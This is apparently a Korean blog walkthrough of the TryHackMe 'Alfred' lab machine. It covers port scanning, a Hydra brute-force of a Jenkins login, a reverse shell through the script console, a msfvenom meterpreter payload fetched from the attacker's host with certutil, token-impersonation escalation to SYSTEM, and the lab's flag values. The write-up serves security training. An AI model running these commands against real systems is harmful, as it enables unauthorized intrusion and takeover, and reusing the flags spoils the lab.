https://tryhackme.com/r/room/alfred
안녕하세요.
오늘은 TryHackMe의 Alfred 머신을 풀어보겠습니다.
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.97.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 05:12 KST
Nmap scan report for 10.10.97.121
Host is up (0.28s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 33.34 seconds
저는 서버에 대해서 전체 포트스캐닝을 먼저 해줬습니다.
그 결과 3개의 포트가 열려있다는 것을 확인했네요
이제 3가지 포트에 대해서 조금 더 자세한 스캐닝을 시도해야겠죠
제가 사용한 옵션은 -O -sV -Pn 입니다.
-O는 대상의 OS를 파악하는데 사용되고 -sV는 버전, -Pn은 스캔 속도의 향상입니다.
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nmap -sV -Pn -O -p 3389,8080 10.10.97.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 05:13 KST
Nmap scan report for 10.10.97.121
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
3389/tcp open tcpwrapped
8080/tcp open http Jetty 9.4.z-SNAPSHOT
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1|Phone (90%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (87%), Microsoft Windows Server 2008 (85%), Microsoft Windows 7 SP1 (85%), Microsoft Windows 8.1 Update 1 (85%), Microsoft Windows 8.1 R1 (85%), Microsoft Windows Phone 7.5 or 8.0 (85%)
No exact OS matches for host (test conditions non-ideal).
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.01 seconds
스캔 결과 대상 OS는 윈도우일 확률이 높다고 나오며 8080에서는 HTTP 프로토콜이 사용되고 있습니다.
80포트의 웹 서버에 접속해보니 어떠한 인물 사진이 나오고 있습니다.
웹 서버를 발견했을 때 제가 가장 먼저 하는 일은 웹 디렉토리 브루트포스입니다.
그 이후에 할 일은 웹 페이지의 소스를 통해서 취약한 점이 있는지 점검하는 것이죠.
하지만 80번 포트의 웹서버에는 어떠한 경로나 파일도 발견되지 않았습니다.
한편 8080포트의 웹서버에서는 Jenkins 로그인 페이지가 출력되고 있습니다.
Jenkins는 개발부터 배포까지 모든 것을 편리하게 관리해주는 소프트웨어로
개발자들이 많이 사용하는 서비스입니다.
이렇게 서비스나 소프트웨어의 커스텀 로그인창이 나올 경우에 가장 먼저 시도해볼 수 있는 것은
구글링을 통해서 Default Account가 존재하는지 확인하는 것입니다.
Jenkins 서비스에 대해서 파악해보니 admin:password라고 레드햇에서 알려줍니다.
하지만 이는 틀린 계정정보라고 합니다.
추가적으로 레드햇에서는 admin:password가 Jenkins의 기본 계정이라고 나오는데
이는 잘못된 정보입니다.
Jenkins에서는 초기 패스워드가 난독화되어서 사용자의 로컬파일에 저장되기 때문입니다.
https://www.geeksforgeeks.org/what-is-the-default-jenkins-password/
위 문서에서 자세한 내용을 확인해보실 수 있습니다.
그러면 이제 저는 Jenkins 서비스에 대해서 브루트포스 공격을 해보겠습니다.
초기 계정의 경우 패스워드는 난독화된 문자이지만, 초기 계정은 admin이라는 것을 알기 때문이죠
저는 브루트포스에 Hydra 도구를 사용했습니다.
간단하고 가볍게 테스트용으로 사용하기 적합한 도구라고 생각합니다.
05:24:31 [0/0]
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8080 10.10.97.121 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=Sign+in:Invalid" -vV -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-25 05:24:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.97.121:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=Sign+in:Invalid
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0)
-vV 옵션을 사용해서 공격의 진행 상황을 모니터링 했으며 -f 옵션을 통해 일치하는
패스워드를 찾으면 자동으로 중단되게끔 설정을 하고 기다립니다.
재밌는 점은 브루트포스 공격을 기다리며 심심해서 아무 패스워드나 치고 있었는데
admin:admin으로 접속에 성공했습니다...ㅋㅋㅋㅋ
2000개가 넘는 사전 공격을 진행중이었는데 등잔 밑이 어둡네요..
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# cat /usr/share/wordlists/rockyou.txt -n | grep 'admin'
3375 badminton
14613 administrator
15915 administracion
19819 admin
41358 admin1
rockyou.txt 파일에 admin도 추가를 해야될 것 같습니다.
확인해보니 admin이라는 단어는 19000번째에 나오네요
이제 Jenkins의 Dashboard로 접속하는데 성공했습니다.
Jenkins와 같은 이런 웹페이지를 통해 관리자 콘솔을 관리하는 서비스,
CMS와 CI/CD 등은 보통 플러그인이나 콘솔을 통해서 초기침투나 권한상승 취약점을 찾을 수 있습니다.
하지만 저도 Jenkins는 처음이라서 구글에 아래와 같이 검색합니다.
구글에 검색하니 깃허브의 리버스쉘 획득 방법이 나와있는 것을 확인했습니다.
https://github.com/Brzozova/reverse-shell-via-Jenkins
Jenkins에서 리버스 쉘을 획득하는 방법은 크게 2가지인데,
Script Console에서 입력하는 것과, 프로젝트 관리에서 Build에 입력한 후 빌딩을 시키는 방법입니다.
저는 Script console을 이용하여 리버스쉘을 획득했습니다.
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nc -lvnp 8044
listening on [any] 8044 ...
connect to [10.11.106.160] from (UNKNOWN) [10.10.97.121] 49231
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Jenkins>whoami
whoami
alfred\bruce
C:\Program Files (x86)\Jenkins>
이렇게 연결된 리버스쉘을 가지고 이대로 침투에 사용해도 좋지만,
저희는 조금 더 안정적인 쉘을 위해서 미터프리터 쉘로 업그레이드를 하겠습니다.
미터프리터 쉘 연결을 위해 msfvenom에서 리버스쉘 실행파일을 하나 만들어줍니다.
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai lhost=10.11.106.160
위 명령으로 만들어준 파일을 파이썬 서버를 열어서 옮겨줍니다.
┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
C:\Program Files (x86)\Jenkins>certutil -f -urlcache http://10.11.106.160/shell.exe shell.exe
certutil -f -urlcache http://10.11.106.160/shell.exe shell.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
연결된 쉘이 PowerShell이었다면 Invoke-WebRequest -uri -OutFile을 통해 가져올 수 있지만
현재 파워쉘이 아닌 cmd이기 때문에 certutil 명령을 사용해서 칼리의 파일을 가져옵니다.
다시 칼리로 돌아와서 metasploit을 실행시킨 후에 exploit/multi/handler 스크립트를 실행합니다.
그 이후 적절한 페이로드와 옵션을 설정해준 후 run을 한 뒤,
로컬에서 백도어 파일을 실행시키면 끝입니다.
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.97.121 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > run
[-] Handler failed to bind to 10.10.97.121:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (176198 bytes) to 10.10.97.121
[*] Meterpreter session 1 opened (10.11.106.160:4444 -> 10.10.97.121:49245) at 2024-09-25 05:53:40 +0900
meterpreter >
로컬에서 msfvenom을 통해 만든 백도어를 실행하면 미터프리터 쉘 연결이 성공됩니다.
이제 미터프리터에서 쉘을 파워쉘로 업그레이드 하기 위해
깃허브에서 PowerUp.ps1 파일을 하나 가져옵니다.
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
그 다음 미터프리터에서 아래의 명령을 입력해서 파워쉘을 실행시킵니다.
upload PowerUp.ps1 (저장 경로 입력)
load powershell
powershell_shell
쉘이 연결되자마자 가장 먼저 한 것은 어떤 권한이 사용 가능한지 체크한 것인데,
놀랍게도 여기서 권한상승 취약점으로 보이는 것을 바로 발견했습니다.
PS > whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
현재 사용자가 사용할 수 있는 권한 중에선 SeImpersonatePrivilege가 있는데,
이 권한은 PrintSpoofer 스크립트를 통해서 권한상승 할 수 있는 취약점으로 알고있습니다.
먼저 현재 사용자의 플래그를 획득하기 위해 bruce 계정의 Desktop으로 이동하여 플래그를 읽어줍니다.
Directory: C:\users\bruce\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/25/2019 11:22 PM 32 user.txt
PS > cat user.txt
79007a09481963edf2e1321abd9ae2a0
79007a09481963edf2e1321abd9ae2a0
이제 권한상승을 할 차례입니다.
https://github.com/dievus/printspoofer
위 깃허브에서 PrintSpoofer.exe를 통해서 권한상승을 할 수 있을 것이라 생각했는데,
이유는 모르겠지만 권한상승이 정상적으로 동작하지 않습니다.
정확한 원인은 모르겠지만 아마 OS에서 차단할 수 있다고도 생각은 됩니다.
그냥 정석대로 풀려고 보니 User Access Token을 이용하여 권한상승을 하라고 합니다.
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT SERVICE\AudioEndpointBuilder
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\PcaSvc
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\wuauserv
Impersonation Tokens Available
========================================
No tokens available
meterpreter 쉘로 돌아와서 use incognito를 사용한 뒤 list_tokens -g를 입력하여
사용할 수 있는 엑세스 토큰 정보를 확인합니다.
이후 관리자 권한을 획득하기 위해서 impersonate_token 명령을 통해 미터프리터에서
토큰을 가장하여 사용자 권한을 얻을 수 있습니다.
meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
시스템 관리자 권한 획득에 성공한 모습입니다.
이제 루트 플래그를 확인해줍니다.
쉘로 접속하기 위해서 마이그레이션을 해줘야 하는데,
가장 안정적인 프로세스는 service.exe라고 합니다.
ps 명령을 하여 나온 service.exe의 PID에 마이그레이션을 해줍니다.
meterpreter > migrate 668
[*] Migrating from 2180 to 668...
[*] Migration completed successfully.
meterpreter > shell
Process 2812 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
이제 루트 플래그를 확인해줍니다
C:\Windows\System32\config>more root.txt
more root.txt
dff0f748678f280250f25a45b8046b4a
dff0f748678f280250f25a45b8046b4a
[TryHackMe] Daily Bugle (2) | 2024.09.26 |
---|---|
[TryHackMe] Skynet (2) | 2024.09.26 |
[TryHackMe] Game Zone (1) | 2024.09.25 |
[TryHackMe] HackPark (0) | 2024.09.25 |
[TryHackMe] Vulnversity (2) | 2024.09.12 |